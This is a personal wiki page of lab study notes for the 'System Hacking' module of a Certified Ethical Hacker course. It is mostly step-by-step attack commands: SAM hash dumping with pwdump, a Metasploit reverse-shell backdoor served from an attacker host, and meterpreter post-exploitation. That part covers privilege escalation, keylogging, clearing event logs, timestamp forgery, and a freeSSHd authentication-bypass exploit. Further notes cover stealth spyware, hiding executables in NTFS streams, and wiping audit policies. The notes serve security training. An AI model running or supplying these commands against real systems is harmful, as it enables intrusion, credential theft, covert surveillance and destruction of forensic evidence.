forked from techfolios/template-old
-
Notifications
You must be signed in to change notification settings - Fork 0
ceh_5_system_hacking
amaskey edited this page Mar 25, 2018
·
1 revision
- Dumping and Cracking SAM Hashes - pwdump and ophcrack SAM = security account manager database file in windows uses LM and NTLM hash
# username and pasword has for the machine in a file
pwdump.exe > c:/hash.txt
load this file to ophcrack --> time to crack depends on complexity of password --> only alphanumeric
-
Cracking - rainbow tables pre-calculate hash and create table --> compare new hash to quickly find plaintext
-
Cracking - L0phtCrack
-
Escalating Priviledge - using client side vulnerability kali
service postgresql start
service metasploit start
# launch msfconsole
msfconsole
#create exe file in desktop
msf > msfpayload windows/meterpreter/reverse_tcp LHOST=172.17.19.67 X > Desktop/Exploit.exe
# new folder with appropriate permission
mkdir /var/www/share
chmod -R 755 /var/www/share
chown -R www-data:www-data /var/www/share
service apache2 start
cp /root/Desktop/Exploit.exe /var/www/share/
# create msfconsole handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.17.19.67
# start handler
exploit -j -z
from windows
http://172.17.19.67/share
download and run Exploit.exe
kali
# metasploit session should not be open in kali
#now go into meterpreter shell
sessions -i 1
#current user
getuid
>>> ceh\administrator
#require elevated priviledge
#get windows password hash
run hashdump
#clear windows event
clearev
# unrestricted access to system using Service -named pipe impersonation
getsystem -t 1
getuid
>>> nt authority\system
# can run hashdump now
run hashdump
- exploiting freeSSHd
install freeSSHd in windows and configure on port 45
kali
service postgresql start
service metasploit start
msfconsole
use exploit/windows/ssh/freesshd_authbypass
#show available exploits
show options
set RHOST 172.17.19.61
set RPORT 45
# establish meterpreter session
exploit
# possible to capture screenshot, keystroke logging, etc
- hacking windows 8.1 with metasploit and post-exploitation using meterpreter
start postgresql, metasploit
msfconsole
msfpayload windows/meterpreter/reverse_tcp LHOST=172.17.19.67 X > Desktop/Backdoor.exe
ls -la /var/www/ | grep share
service apache2 start
cp /root/Desktop/Backdoor.exe /var/www/share/
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.17.19.67
show options
exploit -j -z
windows --> run backdoor.exe
kali
sessions -i
sessions -i 1
# can traverse through this user profile
sysinfo
pwd
ls
cat filename.txt
# show file last access
timestomp filename.txt -v
# change modified timestamp
timestomp filename.txt -m "06/15/2012 12:57:21"
# change created timestamp
timestomp filename.txt -c "06/15/2012 12:57:21"
# change accessed timestamp
timestomp filename.txt -a "06/15/2012 12:57:21"
# change entry modfied timestamp
timestomp filename.txt -e "06/15/2012 12:57:21"
# download
download firefox.exe
# search
search -f pagefile.sys
# key sniffer
keyscan_start
keyscan_dump
#screenshot
screenshot
shutdown
- System monitoring using RemoteExec
remote exe --> remote job --> new remote job --> file execution
# file to execute
rcrack_gui.exe
- User System Monitoring and surveillance using spytech spyAgent
install spytech spyagent in remote computer in stealth mode
- Web Activity Monitoring and Recording with Power Spy 2014
continuous screenshots keystroke all application opened all the documents created clipboard content audio
- hiding Files using NTFS Streams
#hide file.exe inside file1.txt
#cmd prompt
>type c:\path\file.exe > c:\path\file2.txt:file.exe
# unhide the file with different name
>mklink backdoor.exe file1.txt:file.exe
#execute hidden file
>backdoor
-
find hidden files using ADS Spy scan computer to find files with hidden files
-
hiding files using white space steganography (snow)
create test1.txt with white space
#hiding with password magic
snow -C -m "my bank account number is 12345" -p "magic" test1.txt test2.txt
#viewing hidden
snow -C -p "magic" test2.txt
- image steganography using openStego
hide file inside image and retrieve file
- image steganography using quick stego
hide text inside image and retrieve text
- viewing, editing and clearing audit policies using auditpol
#view all audit policies
auditpol /get /category:*
#set pollicies
auditpol /set /category:"system","account logon" /success:enable /failure:enable
#clear audit
auditpol /clear /y
foot
- TODO
- troubleshoot
- Tutorials
- Security Onion Overview
- Elastic Stack
- bro
- Snort
- sguil
- squert
- netsniff-ng
- ossec
- cif
- beat
- banyard
- pulled pork
- pf ring
- CapMe
- apache
- my-sql
- python basic
- Sequences - list, dict, string...
- Regular expression
- functions
- Data Abstraction
- Trees
- containers
- object
- Libraries
-
useful libs
- datetime, json, pyperclip, io
- numpy
- matplotlib
- wavelets
- pandas
- pickle
-
useful libs
- Tutorial
- foot printing and reconnaissance
- scanning networks
- enumeration
- System Hacking
- Malware Threats
- Sniffing
- Social Engineering
- Denial-of-Service
- Session Hijacking
- Hacking Webservers
- Hacking Web Application
- SQL Injection
- Hacking Wireless Networks
- Hacking Mobile Platforms
- Evading IDS, Firewalls, and Honeypots
- Cloud Computing
- Cryptography